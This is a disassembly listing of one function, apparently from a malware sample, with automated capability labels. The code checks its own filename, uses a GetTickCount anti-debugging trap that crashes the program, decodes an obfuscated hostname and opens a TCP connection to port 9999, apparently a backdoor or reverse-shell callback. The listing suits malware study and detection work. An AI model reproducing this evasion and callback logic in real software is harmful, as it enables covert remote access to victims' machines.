Function at 0x4013d0
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
push edi
mov byte [ebp - 0x2ac], 0x31
mov byte [ebp - 0x2ab], 0x71
mov byte [ebp - 0x2aa], 0x62
mov byte [ebp - 0x2a9], 0x7a
mov byte [ebp - 0x2a8], 0x32
mov byte [ebp - 0x2a7], 0x77
mov byte [ebp - 0x2a6], 0x73
mov byte [ebp - 0x2a5], 0x78
mov byte [ebp - 0x2a4], 0x33
mov byte [ebp - 0x2a3], 0x65
mov byte [ebp - 0x2a2], 0x64
mov byte [ebp - 0x2a1], 0x63
mov byte [ebp - 0x2a0], 0
mov byte [ebp - 0x29c], 0x69
mov byte [ebp - 0x29b], 0x77
mov byte [ebp - 0x29a], 0x73
mov byte [ebp - 0x299], 0x2e
mov byte [ebp - 0x298], 0x65
mov byte [ebp - 0x297], 0x78
mov byte [ebp - 0x296], 0x65
mov byte [ebp - 0x295], 0
mov byte [ebp - 0x100], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
mov esi, 0x40604c
lea edi, [ebp - 0x2f0]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x2b8], 0
mov byte [ebp - 0x400], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x29c]
push eax
call fcn.004011e0
add esp, 4
push 0x10e
lea ecx, [ebp - 0x400]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea edx, [ebp - 0x400]
push edx
call fcn.004017f0
add esp, 8
mov dword [ebp - 0x104], eax
push 0x104
mov eax, dword [ebp - 0x104]
add eax, 1
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
push ecx
lea edx, [ebp - 0x29c]
push edx
call fcn.004017b0
add esp, 0xc
test eax, eax
je 0x40152e
mov eax, 1
jmp 0x401698
lea eax, [ebp - 0x294]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
je 0x401559
mov eax, 1
jmp 0x401698
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0xffffffff
jne 0x401584
mov eax, 1
jmp 0x401698
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x2b4], eax
call section..text
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x2bc], eax
mov ecx, dword [ebp - 0x2bc]
sub ecx, dword [ebp - 0x2b4]
cmp ecx, 1
jbe 0x4015b7
xor eax, eax
mov dword [eax], edx
ret
lea edx, [ebp - 0x100]
push edx
lea eax, [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x2ac]
push ecx
call fcn.00401300
add esp, 0xc
lea edx, [ebp - 0x100]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0
jne 0x4015fa
mov eax, 1
jmp 0x401698
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x2cc], eax
push 0x270f
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2ce], ax
mov word [ebp - 0x2d0], 2
push 0x10
lea ecx, [ebp - 0x2d0]
push ecx
mov edx, dword [ebp - 0x404]
push edx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0xffffffff
jne 0x401654
mov eax, 1
jmp 0x401698
mov eax, dword [ebp - 0x404]
push eax
sub esp, 0x10
mov ecx, esp
mov edx, dword [ebp - 0x2d0]
mov dword [ecx], edx
mov eax, dword [ebp - 0x2cc]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x2c8]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x2c4]
mov dword [ecx + 0xc], eax
call fcn.00401060
add esp, 0x14
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret